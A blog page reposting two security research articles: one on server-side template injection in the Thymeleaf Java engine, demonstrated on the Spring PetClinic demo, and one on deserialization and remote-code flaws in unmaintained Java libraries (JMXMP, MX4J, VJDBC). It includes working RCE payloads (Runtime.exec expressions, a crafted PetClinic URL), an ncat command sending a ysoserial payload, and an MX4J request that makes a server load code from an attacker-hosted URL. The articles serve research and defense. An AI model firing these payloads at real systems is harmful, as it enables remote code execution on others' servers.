четверг, 23 июля 2020 г.

Exploiting SSTI in Thymeleaf

 (It's a repost from https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ )

One of the most comfortable ways to build web pages is by using server-side templates. Such templates let you create HTML pages that include special elements that you can fill and modify dynamically. They are easy to understand for designers and easy to maintain for developers. There are many server-side template engines for different server-side languages and environments. One of them is Thymeleaf, which works with Java.

Server-side template injections (SSTI) are vulnerabilities that let the attacker inject code into such server-side templates. In simple terms, the attacker can introduce code that is actually processed by the server-side template. This may result in remote code execution (RCE), which is a very serious vulnerability. In many cases, such RCE happens in a sandbox environment provided by the template engine, but many times it is possible to escape this sandbox, which may let the attacker even take full control of the web server.

SSTI was initially researched by James Kettle and later by Emilio Pinna. However, neither of these authors included Thymeleaf in their SSTI research. Let’s see what RCE opportunities exist in this template engine.

Introduction to Thymeleaf

Thymeleaf is a modern server-side template engine for Java, based on XML/XHTML/HTML5 syntax. One of the core advantages of this engine is natural templating. This means that a Thymeleaf HTML template looks and works just like HTML. This is achieved mostly by using additional attributes in HTML tags. Here is an official example:

<table>
  <thead>
    <tr>
      <th th:text="#{msgs.headers.name}">Name</th>
      <th th:text="#{msgs.headers.price}">Price</th>
    </tr>
  </thead>
  <tbody>
    <tr th:each="prod: ${allProducts}">
      <td th:text="${prod.name}">Oranges</td>
      <td th:text="${#numbers.formatDecimal(prod.price, 1, 2)}">0.99</td>
    </tr>
  </tbody>
</table>
 

If you open a page with this code using a browser, you will see a filled table and all Thymeleaf-specific attributes will simply be skipped. However, when Thymeleaf processes this template, it replaces tag text with values passed to the template.

Hacking Thymeleaf

To attempt an SSTI in Thymeleaf, we first must understand expressions that appear in Thymeleaf attributes. Thymeleaf expressions can have the following types:

  • ${...}: Variable expressions – in practice, these are OGNL or Spring EL expressions.
  • *{...}: Selection expressions – similar to variable expressions but used for specific purposes.
  • #{...}: Message (i18n) expressions – used for internationalization.
  • @{...}: Link (URL) expressions – used to set correct URLs/paths in the application.
  • ~{...}: Fragment expressions – they let you reuse parts of templates.

The most important expression type for an attempted SSTI is the first one: variable expressions. If the web application is based on Spring, Thymeleaf uses Spring EL. If not, Thymeleaf uses OGNL.

The typical test expression for SSTI is ${7*7}. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions:

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports expression inlining. To use this feature, you must put an expression within [[...]] or [(...)] (select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be [[${7*7}]].

Chances that the above detection payload would work are, however, very low. SSTI vulnerabilities usually happen when a template is dynamically generated in the code. Thymeleaf, by default, doesn’t allow such dynamically generated templates and all templates must be created earlier. Therefore, if a developer wants to create a template from a string on the fly, they would need to create their own TemplateResolver. This is possible but happens very rarely.

A Dangerous Feature

If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called expression preprocessing. Expressions placed between double underscores (__...__) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation:

#{selection.__${sel.code}__}

Thymelead first preprocesses ${sel.code}. Then, it uses the result (in this example it is a stored value ALL) as part of a real expression evaluated later (#{selection.ALL}).

This feature introduces a major potential for an SSTI vulnerability. If the attacker can control the content of the preprocessed value, they can execute an arbitrary expression. More precisely, it is a double-evaluation vulnerability, but this is hard to recognize using a black-box approach.

A Real-World Example of SSTI in Thymeleaf

PetClinic is an official demo application based on the Spring framework. It uses Thymeleaf as a template engine.

Most templates in this application reuse parts of the layout.html template, which includes a navigation bar. It has a special fragment (function), which generates the menu.

<li th:fragment="menuItem (path,active,title,glyph,text)" class="active" th:class="${active==menu ? 'active' : ''}">
      <a th:href="@{__${path}__}" th:title="${title}">

As you can see, the application preprocesses ${path}, which is then is used to set a correct link (@{}). However, this value comes from other parts of the template:

<li th:replace="::menuItem ('/owners/find','owners','find owners','search','Find owners')">

Unfortunately, all the parameters are static and uncontrollable by the attacker.

However, if we try to access a route that does not exist, the application returns the error.html template, which also reuses this part of layout.html. In the case of an exception (and accessing a route that does not exist is an exception), Spring automatically adds variables to the current context (model attributes). One of these variables is path (others include timestamp, trace, message, and more).

The path variable is a path part (with no URL-decoding) of the URL of the current request. More importantly, this path is used inside the menuItem fragment. Therefore, __${path}__ preprocesses the path from the request. And the attacker can control this path to achieve SSTI, and as a result of it, RCE.

As a simple test, we can send a request to http://petclinic/(7*7) and get 49 as the response.

However, despite this effect, we couldn’t find a way to achieve RCE in this situation when the application runs on Tomcat. This is because you need to use Spring EL, so you need to use ${}. However, Tomcat does not allow { and } characters in the path without URL-encoding. And we cannot use encoding, because ${path} returns the path without decoding. To prove these assumptions, we ran PetClinic on Jetty instead of Tomcat and achieved RCE because Jetty does not limit the use of { and } characters in the path:

http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

We had to use ( and ) characters because after preprocessing the @{} expression receives a string starting with / (for example, /${7*7}), so the expression is not treated as an expression. The @{} expression allows you to add parameters to the URL by putting them in parentheses. We can misuse this feature to clear the context and get our expression executed.

Conclusion

Server-side template injection is much more of an issue than it appears to be because server-side templates are used more and more often. There are a lot of such template engines, and a lot of them remain unexploited yet but may introduce SSTI vulnerabilities if misused. There is a long way from ${7*7} to achieving RCE but in many cases, as you can see, it is possible.

As security researchers, we always find it interesting to see how complex technologies clash and affect each other and how much still remains unexplored.

 

четверг, 27 февраля 2020 г.

The curse of old Java libraries

(It's a repost from https://www.acunetix.com/blog/web-security-zone/old-java-libraries/

Java is known for its backward-compatibility. You can still execute code that was written many years ago, as long as you use an appropriate version of Java. Thanks to this feature, modern projects use a wide range of libraries that have been “tested by time” in production. However, such libraries are often left unsupported by maintainers for a long time. As a result, when you discover a vulnerability in a library, you may find it very hard to report the issue and to warn the developers who use that library.

Here are a few examples of such problems related to old libraries, which I recently came across when exploiting vulnerabilities as part of various bug bounty programs.

JMX and JMXMP

JMX (Java Management Extensions) is a well-known and widely-used technology for monitoring and managing Java applications. Since the Java deserialization “apocalypse”, it is perceived as quite notorious for security specialists. JMX uses the RMI protocol for transport purposes, which makes it inherently vulnerable to Java deserialization attacks. However, Oracle introduced the specification JEP-290 (JDK ≥ 8u121, ≥ 7u131, ≥ 6u141), which made such attacks much harder.

It turns out that according to the JMX specification (JSR-160), JMX also supports other transport protocols (called connectors), including the JMX Messaging Protocol (JMXMP) – a protocol specially created for JMX. However, this protocol was not included in Java SE and so it never became popular. One of the main advantages of JMXMP in comparison to RMI is the fact that JMXMP requires only one TCP port (RMI uses one static port for the RMI registry and another dynamically chosen port for actual interaction with a client). This fact makes JMXMP much more convenient when you need to restrict access using a firewall or when you want to set up port forwarding.

Despite the fact that libraries implementing JMXMP (jmxremote_optional.jar, opendmk_jmxremote_optional_jar-1.0-b01-ea.jar) have not been updated for at least ten years, JMXMP is still alive and used from time to time. For example, JMXMP is used in the Kubernetes environment and support for JMXMP has recently been added to Elassandra.

The problem with JMXMP is that this protocol completely relies on Java serialization for data transfer. At the same time, Oracle patches for JMX/RMI vulnerabilities don’t cover JMXMP, which makes it open to the Java deserialization attack. To exploit this vulnerability, you don’t even need to understand the protocol or the format of the data, just send a serialized payload from ysoserial directly to a JMXMP port:

ncat target.server.com 11099 < test.jser

If you cannot exploit this Java deserialization vulnerability (due to the lack of gadgets in the application classpath), you still can use other methods like uploading your MBean or misusing existing MBean methods. In order to connect to such JMX, you need to download the necessary package, add it to the classpath, and use the following format to specify the JMX endpoint: service:jmx:jmxmp://target.server.com:port/.

For example:

jconsole -J-Djava.class.path="%JAVA_HOME%/lib/jconsole.jar";"%JAVA_HOME%/lib/opendmk_jmxremote_optional_jar-1.0-b01-ea.jar" service:jmx:jmxmp://target.server.com:port/

You can also use MJET but it requires similar changes to the code.

MX4J

MX4J is an open-source implementation of JMX. It also provides an HTTP adapter that exposes JMX through HTTP (it works as a servlet). The problem with MX4J is that by default it doesn’t provide authentication. To exploit it, we can deploy a custom MBean using MLet (upload and execute the code). To upload the payload, you can use MJET. To force MX4J to get the MBean, you need to send a GET request to:

/invoke?objectname=DefaultDomain:type=MLet&operation=getMBeansFromURL&type0=java.lang.String&value0=http://yourserver/with/mlet

MX4J has not been updated for 15 years, but it is used by such software as Cassandra (in a non-default configuration). Your “homework” now is to look deeper into it and search for vulnerabilities. Note the use of hessian and burlap protocols as JMX-connectors, which are also vulnerable to deserialization attacks in a default configuration.

VJDBC

Virtual JDBC is an old library that provides access to a database using JDBC via other protocols (HTTP, RMI). In the case of HTTP, it provides a servlet, which you can use to send a special HTTP request that includes an SQL query and receive a result from a DB used by the web application. Unfortunately, VJDBC also uses Java serialization (via HTTP) to interact with the servlet.

If you use Google to search for this term, you will find that almost every search result is related to SAP Hybris. SAP Hybris is a major eCommerce/CRM platform used by many large enterprises. By default, SAP Hybris exposes the vjdbc-servlet that is vulnerable to an RCE caused by Java deserialization – CVE-2019-0344 (and which had other serious security issues in the past as well). A test for this vulnerability was added to Acunetix in September 2019. Unfortunately, it looks like SAP fixed only their internal version of VJDBC, and therefore all other software that depends on this library is vulnerable and its creators are probably unaware of the problem.

No Way Out

I was unable to report vulnerabilities in these libraries. For example, in the case of JMXMP, Oracle doesn’t support JDMK anymore at all. The only thing I could do is send reports directly to big projects that use these vulnerable libraries. I also wanted to use this article to increase awareness so please share it if you believe any of your colleagues might be using these libraries.

If you still rely on these libraries, try to find a safe alternative. If it’s impossible, restrict access to them and/or use process-level filters described in JEP-290 to protect against deserialization and/or put the application in a sandbox. Also, since these are open-source libraries, you can patch them manually.

Also, whenever you’re planning to use a package/library, make sure that it’s still supported and that there are still maintainers. In all the above cases, if maintainers still supported these projects, they could easily find and fix such vulnerabilities.

It would also be great if in the future Java and other languages would get a centralized method for reporting vulnerabilities in public packages/libraries, similar to the excellent central reporting system for Node.js.